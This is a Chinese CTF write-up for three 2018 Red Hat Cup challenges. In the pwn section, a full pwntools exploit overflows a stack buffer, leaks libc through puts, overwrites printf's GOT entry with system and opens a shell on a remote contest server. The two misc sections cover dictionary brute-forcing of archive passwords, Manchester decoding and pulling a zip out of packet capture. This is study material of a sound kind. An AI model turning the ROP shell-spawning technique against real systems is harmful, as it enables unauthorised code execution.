2018-红帽杯

pwn–game server

拿到题目按照国际惯例先checksec和IDA一波

image 

image 发现只开了nx保护,这样的题目一般都是ret2libc了,观察题目,发现第33行的地方有溢出点,通过read函数可以向s里面写nbytes个字节,同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响,因为snprintf函数是有这个漏洞的:image s的栈空间大小是0x111,那么我们让nbytes的大小远超过0x111,就可以实现溢出。

溢出后就需要考虑用那种方式去getshell了,通过调试发现,溢出一次后并不能返回main函数,因此我们只有一次构造溢出的机会,那么这个时候就只能用gadget了,我们可以查到这些gadget:

image 

我们这里需要用到的gadget是:pop ebp ret和pop esi ; pop edi ; pop ebp ; ret,利用他们来保存栈平衡,

接着构造paylode首先执行puts函数将puts的真正地址打印出来,接着执行read函数将system的地址写到printf的got表中,接着再执行read函数将/bin/sh参数读入bss段中,最后在执行printf函数也就是相对于执行了system(/bin/sh)

完整的exp如下:

coding:utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn2')
p = remote('123.59.138.180',20000)
elf = ELF("./pwn2")

read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)

p_ebp_ret=0x0804881b# : pop ebp ; ret
p_ebx_ret=0x0804841d# : pop ebx ; ret
ppp_ret=0x08048819# : pop esi ; pop edi ; pop ebp ; ret
bss= elf.bss()

payload1 = 'a'*0xfc
p.recvuntil('name?\n')
p.sendline(payload1)

payload2 = 'b'*0xfc
p.recvuntil('occupation?\n')
p.sendline(payload2)

payload3 = 'Y'
p.recvuntil('[Y/N]\n')
p.sendline(payload3)

payload4 = 'a'*0x111+"aaaa"+ p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(elf.got['printf']) + p32(4) 
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) + p32(8) 
payload4 += p32(elf.plt['printf']) + p32(0xdeadbeef) + p32(bss)
p.sendline(payload4)

p.recvuntil('\n')
p.recvuntil('\n')
p.recvuntil('\n')
sleep(0.1)

puts_addr = u32(p.recv(4)) #0xf7585140
print hex(puts_addr)
#这里得到puts函数真正地址的后四位是5140
#通过在网上查找,可以找到对应的libc版本和system、puts的偏移量:
offset_puts = 0x05f140
offset_system = 0x03a940
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system

p.send(p32(system_addr))
p.send('/bin/sh\x00')
p.interactive()

misc-听说你们喜欢手工爆破

看这个题目标题,就知道应该是爆破了,拿到一个iso文件,解压一波,发现一大堆txt文件和一个rar压缩包:

image 

其中txt的内容都一样的,因此是没有叼用的,rar压缩包有密码,要手工爆破,根据目前知道的信息就应该是拿文件名一个个去试密码了,但是500个txt手工试密码不现实,直接提取出来,做成字典再用工具去字典爆破它就行了image 

得到密码后解出一个doc文档,又有密码,这个时候我们就只能直接爆破了:image 

爆破出来后发现里面一段文字,通过调隐藏文字,调背景颜色都没有发现flag,那就说明还有一段要解的地方

image 、

可以看到关键点在这:

“她现在住在F5街区F5街道07号幢,并给他邮箱发了新家里的门禁解锁代码:“123654AAA678876303555111AAA77611A321”,

看起来像是一段密码,但是看不出什么密码,于是想到最开始的“情系海边之城.rar”百度一波发现

image 这是一个曼彻斯特码,然后疯狂百度谷歌,找到了一些解码的脚本,改一改就可以直接解出flag了,需要注意的是,在解的过程中,需要与关键点“F5F507”做比较,一般来说,包含这一段的才是正确的flag,毕竟曼彻斯特码有两种编码方式

image


misc-Not Only Wireshark

打开发现是一个流量包,扔到wireshark,观察了好久没有看出什么东西, image.png

最后发现,有很多name=xxx,就打算提取出来,提取的话可以用tshark工具 image.png

image.png 提出来以后,感觉前面有点像一个zip压缩包的文件头“504B0304”,于是把123改成5,写到一个文件里面去,发现真的得到一个zip文件: image.png

image.png 这个时候又发现需要密码才能解压出flag,于是回到流量包,直接查找key的字符串,就发现了密码,密码就是“?id=1128%23” image.png flag就得到了,这道题真是气人啊。。。。之前还提取出了好几张png图片疯狂分析 image.png